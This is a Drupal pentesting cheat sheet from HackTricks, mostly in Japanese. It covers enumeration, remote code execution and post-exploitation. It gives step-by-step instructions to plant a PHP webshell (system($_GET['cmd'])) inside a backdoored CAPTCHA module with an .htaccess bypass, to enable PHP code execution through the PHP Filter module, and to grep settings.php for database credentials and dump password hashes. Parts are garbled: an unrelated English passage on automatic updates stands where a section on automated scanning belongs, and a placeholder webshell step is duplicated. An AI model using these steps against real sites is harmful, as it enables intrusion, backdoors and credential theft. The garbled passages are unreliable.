hacktricks/network-services-pentesting/pentesting-web/drupal.md
2023-07-07 23:42:27 +00:00

13 KiB
Raw Blame History

Drupal

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Discovery

  • メタをチェックする
curl https://www.drupal.org/ | grep 'content="Drupal'
  • ノード: Drupalはノードを使用してコンテンツをインデックスします。ノードはブログ投稿、投票、記事など、何でも保持することができます。ページのURIは通常、/node/<nodeid>の形式です。
curl drupal-site.com/node/1

列挙

Drupalはデフォルトで3種類のユーザーをサポートしています:

  1. 管理者: このユーザーはDrupalウェブサイトを完全に制御できます。
  2. 認証済みユーザー: これらのユーザーはウェブサイトにログインし、権限に基づいて記事の追加や編集などの操作を行うことができます。
  3. 匿名: すべてのウェブサイト訪問者は匿名として指定されます。デフォルトでは、これらのユーザーは投稿の読み取りのみが許可されています。

バージョン

  • /CHANGELOG.txtをチェックします。
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Drupalの新しいインストールでは、デフォルトでCHANGELOG.txtREADME.txtファイルへのアクセスがブロックされます。 {% endhint %}

ユーザー名の列挙

登録

_/user/register_でユーザー名を作成しようとすると、既に使用されている場合に通知されます

新しいパスワードのリクエスト

既存のユーザー名の新しいパスワードをリクエストする場合:

存在しないユーザー名の新しいパスワードをリクエストする場合:

ユーザー数の取得

_/user/<number>_にアクセスすると、既存のユーザー数を確認できます。この場合、_users/3_は見つからないエラーを返します

隠しページ

/node/$という形式でFuzzする$は1から500までの数値
検索エンジンによって参照されていない隠れたページ(テスト、開発)を見つけることができます。

インストールされたモジュールの情報

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

自動

Drupal has a built-in feature called "Automatic Drupal Core Updates" that allows the system to automatically update the Drupal core when new security releases are available. This feature can be enabled by navigating to Administer > Configuration > Development > Automatic Updates.

Drupal also provides a command-line tool called drush that can be used to automate various tasks, including updating Drupal core and modules. The drush pm-update command can be used to update Drupal core and modules to their latest versions.

Automating the update process can help ensure that your Drupal installation is always up to date with the latest security patches, reducing the risk of vulnerabilities being exploited.

However, it is important to note that automatic updates should be used with caution, as they can potentially introduce compatibility issues or break customizations. It is recommended to thoroughly test updates in a development environment before applying them to a production site.

To disable automatic updates, simply navigate to the Automatic Updates configuration page and uncheck the "Enable automatic updates" option.

droopescan scan drupal -u http://drupal-site.local

RCE

PHPフィルターモジュールを使用する

{% hint style="warning" %} Drupalの古いバージョンバージョン8より前では、管理者としてログインし、PHPフィルターモジュールを有効化することが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価する」機能を提供します。 {% endhint %}

プラグインphpがインストールされている必要があります_modules/php_にアクセスして403が返される場合は、存在します見つからない場合は、プラグインphpがインストールされていません

_Modules_に移動 -> (チェック) PHP Filter -> Save configuration

次に、_Add content_をクリック -> _Basic Page_または_Article_を選択 -> 本文にphpシェルコードを記述 -> _Text format_で_PHP code_を選択 -> _Preview_を選択

最後に、新しく作成したノードにアクセスしてください:

curl http://drupal-site.local/node/3

PHPフィルターモジュールのインストール

バージョン8以降、PHPフィルターモジュールはデフォルトでインストールされていません。この機能を利用するには、モジュールを自分でインストールする必要があります。

  1. Drupalのウェブサイトから最新バージョンのモジュールをダウンロードします。
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. ダウンロードが完了したら、管理 > レポート > **利用可能な更新**に移動します。
  4. **参照をクリックし、ダウンロードしたディレクトリからファイルを選択し、インストール**をクリックします。
  5. モジュールがインストールされたら、コンテンツをクリックして、Drupal 7の例と同様に新しい基本ページを作成します。再度、テキスト形式のドロップダウンメニューからPHPコードを選択することを忘れないでください。

バックドア付きモジュール

バックドア付きモジュールは、既存のモジュールにシェルを追加することで作成できます。モジュールはdrupal.orgのウェブサイトで見つけることができます。CAPTCHAのようなモジュールを選びましょう。下にスクロールして、tar.gz形式のアーカイブのリンクをコピーします。

  • アーカイブをダウンロードして、その内容を抽出します。
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • 以下の内容でPHPウェブシェルを作成します:
<?php
// PHP code here
?>
  • 以下の内容でPHPウェブシェルを作成します:
<?php
system($_GET["cmd"]);
?>
  • 次に、フォルダへのアクセス権限を自分自身に与えるために .htaccess ファイルを作成する必要があります。これは、Drupalが /modules フォルダへの直接アクセスを拒否するため、必要です。
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 上記の設定は、/modules内のファイルをリクエストする際に、/フォルダに対してルールを適用します。これらのファイルをcaptchaフォルダにコピーし、アーカイブを作成してください。
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • ウェブサイトへの管理アクセスがあると仮定し、サイドバーの**管理をクリックし、次に拡張をクリックします。次に、+ 新しいモジュールをインストールボタンをクリックし、インストールページに移動します。例えば、http://drupal-site.local/admin/modules/installに移動します。バックドアが仕込まれたCaptchaのアーカイブを参照し、インストール**をクリックします。
  • インストールが成功したら、**/modules/captcha/shell.php**にアクセスしてコマンドを実行します。

ポストエクスプロイテーション

settings.phpを読む

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

DBからユーザーをダンプする

# Dump users from DB
drush sql-query "SELECT name, pass FROM users"

このコマンドは、Drupalのデータベースからユーザー情報をダンプします。

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥